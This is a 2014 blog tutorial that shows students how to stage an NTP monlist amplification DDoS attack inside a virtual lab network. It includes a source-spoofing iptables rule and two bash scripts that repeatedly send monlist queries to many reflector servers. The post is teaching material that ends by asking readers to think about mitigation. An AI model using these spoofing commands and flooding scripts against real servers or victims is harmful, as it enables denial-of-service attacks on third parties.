NTP DDoS Attack in a Virtual Network [1]

Submitted by Steve [2] on Mon, 27/01/2014 - 8:50pm

I recently demonstrated concepts of distributed denial of service (DDoS) attacks using Ping flooding in a virtnet virtual network [3]. Nowadays Ping flooding attacks are not realistic in the Internet because many networks block Ping traffic (or at least the features that allow a DDoS attack). However similar concepts are used but often with different protocols, such as DNS, NTP and ISAKMP. The attacks take advantage of three factors: there are many publicly accessible servers that use these protocols (e.g. DNS servers, NTP time servers); the protocols use UDP (rather than TCP, which limits the sending rate); and they support amplification of the data sent to the target. The latter allows the malicious node to send a small amount of traffic to servers, which then respond (to the target) with a much larger amount of traffic.

A recent [4] set [5] of publicised [6] DDoS [7] attacks made use of the Network Time Protocol [8]. NTP is used for computers to synchronise their clocks with more accurate time servers. There are many [9] public [10] time servers. The attack took advantage of the fact that older versions of NTP servers allowed a client to send a request for a list of monitoring data the server records. The list stores records of up to 600 different hosts that have communicated recently with the time server. This allowed a malicious node to send a small request to a NTP server, which then responds with a very large response. With source address spoofing [11], and lots of NTP servers to use, this makes for a very effective DDoS attack.

There are several articles that describe the attack and solution (don't allow NTP time servers to respond to requests for monitoring data). Cloudfare [7] provides a concise description of the attack. Internet Storm Center [12] describes how to perform the attack with NTP in Linux. In the following I use these instructions and adapt them so you can use them in your own virtnet virtual network.

1. Assumptions

The following assumes you have setup virtnet for, and performed the Ping flooding DoS attack [3]. In particular you should have setup the nodes [13] using `tc` and setting `rp_filter`. If you haven't, then most of the following won't make sense and progbably won't work.

2. Setup NTP Servers

The ping flooding attack used reflector nodes to send many ping (ICMP Echo) reply messages to a target node. Although in theory all computers on the Internet should respond to ICMP Echo request messages, security features in networks and devices severely limit the number of messages that can be sent. The NTP attack uses a similar approach to ping flooding, reflect off of normal computers in the Internet. However only those computers running NTP server software are potential candidates, i.e. only dedicated time servers.

First install a NTP server on all reflector nodes. We will also install the server on the malicious node, not to use it as a server, but to make the advanced NTP client server it includes available for the attack. On nodes 1, 3, 4, 5 and 6 install the NTP server by running:

```
network@node:~$ sudo apt-get install ntp
```

Now on the reflector nodes - 3, 4, 5 and 6 - edit the configuration of the NTP server to allow other nodes to access the time server. To do so, open `/etc/ntp.conf` in `nano` (using `sudo`) and add the following lines to the end of the file:

```
server 127.127.1.0
fudge 127.127.1.0 stratum 10
restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap
restrict 192.168.2.0 mask 255.255.255.0 nomodify notrap
restrict 192.168.3.0 mask 255.255.255.0 nomodify notrap
```

For the changes to take effect, restart the NTP server:

```
network@node:~$ sudo service ntp restart
 * Stopping NTP server ntpd                                              [ OK ]
 * Starting NTP server ntpd                                              [ OK ]
```

3. Test NTP Servers

The NTP servers are configured to obtain their clock from a pool of time servers run by Ubuntu and others. The servers will also respond to other nodes in the virtual network if they request synchronization. First test on another node that isn't running its own NTP server, e.g. node 2

```
network@node2:~$ sudo ntpdate 192.168.2.21
27 Jan 21:03:45 ntpdate[2710]: step time server 192.168.2.21 offset 3491.154173 sec
```

This sync's node 2's clock with that of node 3 (the time server).

4. Requesting the Monitoring Data

The NTP DDoS involves a client sending a request for monitoring data that the NTP server collects. To do so, you can use the advanced NTP client that is available when installing the NTP server (that's why we install the NTP server on node 1). On the malicious node run:

```
network@node1:~$ sudo ntpdc -n -c monlist 192.168.2.21
remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
91.189.94.4              123 10.0.2.15             44 4 4    1d0     99       4
203.158.111.32           123 10.0.2.15             47 4 4    1d0     92      11
203.158.111.11           123 10.0.2.15             44 4 4    1d0     99      12
202.28.214.2             123 10.0.2.15             48 4 4    1d0     92      19
203.158.118.2            123 10.0.2.15             48 4 4    1d0     92     145
192.168.2.1              123 192.168.2.21           8 3 4    180    554     278
```

The data displayed is some statistics about computers that have communicated recently with the NTP server on node 3. A maximum of 600 entries will be returned. In this example only 6 entries are returned, including node 2 (which recently sync'd its clock with node 3). If you want to make the list larger, get other nodes to run `ntpdate` to communicate with the server on node 3.

5. Basic NTP DoS Attack

Now you have the tools to attempt a basic NTP DoS attack on the target. Like in ping flooding, set a fake source address on the target, and then trigger requests for the monitoring data using `ntpdc`. Note that in the ping flooding attack the fake source address was set for ICMP packets sent; in this NTP attack you should change that to be for UDP packets instead, as below:

```
network@node1:~$ sudo iptables -t nat -A POSTROUTING -p udp \
-j SNAT --to-source 192.168.3.31
```

You should capture and view the packets with `tcpdump` and different nodes, and optionally use `iptraf` on node 7 to see the total traffic being sent to the target node 8. See the ping flooding attack for examples of using a fake source address (remember: UDP), `tcpdump` and `iptraf`.

6. NTP DDoS Attack

The ping application has a built-in feature to repeatedly send packets. And we created a script [14] to automate pinging to multiple reflectors at once. We need our NTP client (`ntpdc` on node 1) to repeatedly sent NTP requests for monitoring data to multiple reflectors for an effective DDoS attack. I have created two simple Bash scripts do this for us. The first I'll call `ntpmany`. It sends the NTP request to many NTP servers in parallel. The script is below. Save the contents in the file `ntpmany` in your home directory on node 1.

```
#!/bin/bash
# Send NTP requests to multiple NTP servers
args=$#
for (( j=1; j<=$args; j++ )); do
        ntpdc -n -c monlist $1 > /dev/null &
        shift;
done
```

The second script uses `ntpmany` to repeatedly send NTP requests to multiple NTP servers. The script is below. Save the contents in the file `ntprepeat` in your home directory on node 1.

```
#!/bin/bash
# Repeatedly send NTP requests to multiple NTP servers
interval=$1
shift;
n=$1
shift;
for (( i=1; i<=$n; i++ )); do
        bash ntpmany "$@" > /dev/null &
        sleep $interval
done
```

Now make the scripts executable:

```
network@node1:~$ chmod u+x ntpmany ntprepeat
```

Similar to pingmany [14], the script `ntprepeat` takes as command line arguments:

1. The interval between sending NTP requests to each set of NTP servers (seconds)
2. The number of NTP requests to send to each set of NTP servers
3. A list of IP addresses of the NTP servers

For example, try:

```
network@node1:~$ sudo ./ntprepeat 0.1 100 192.168.2.21 192.168.2.22
```

7. Next Steps

I'll leave it to you to perform the NTP DDoS attack in your virtual network, and investigate further how it works and how you can increase the traffic being sent to the target. I recommend capturing packets using `tcpdump` to see the size of packets being sent by the malicious node and the size of packets being received by node 7 (and the target). Once you understand how the attack works, think about methods to mitigate the attack.

Source URL: http://sandilands.info/sgordon/ntp-ddos-attack-in-a-virtual-network

Links

[1] http://sandilands.info/sgordon/ntp-ddos-attack-in-a-virtual-network
[2] http://sandilands.info/sgordon/user/2
[3] http://sandilands.info/sgordon/ping-flooding-dos-attack-in-a-virtual-network
[4] http://arstechnica.com/gaming/2014/01/multiple-gaming-platforms-hit-with-apparent-ddos-attacks/
[5] http://threatpost.com/us-cert-warns-of-ntp-amplification-attacks/103573
[6] http://arstechnica.com/security/2014/01/dos-attacks-that-took-down-big-game-sites-abused-webs-time-synch-protocol/
[7] http://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks
[8] https://en.wikipedia.org/wiki/Network_Time_Protocol
[9] http://www.pool.ntp.org/en/
[10] http://support.ntp.org/bin/view/Servers/WebHome
[11] http://sandilands.info/sgordon/address-spoofing-with-iptables-in-linux
[12] https://isc.sans.edu/forums/diary/NTP+reflection+attack/17300
[13] http://sandilands.info/sgordon/ping-flooding-dos-attack-in-a-virtual-network#setupnodes
[14] http://sandilands.info/sgordon/ping-flooding-dos-attack-in-a-virtual-network#pingmany
[15] http://sandilands.info/sgordon/taxonomy/term/302
[16] http://sandilands.info/sgordon/taxonomy/term/326
[17] http://sandilands.info/sgordon/taxonomy/term/328
[18] http://sandilands.info/sgordon/taxonomy/term/354
[19] http://sandilands.info/sgordon/taxonomy/term/309
[20] http://sandilands.info/sgordon/taxonomy/term/116
[21] http://sandilands.info/sgordon/taxonomy/term/212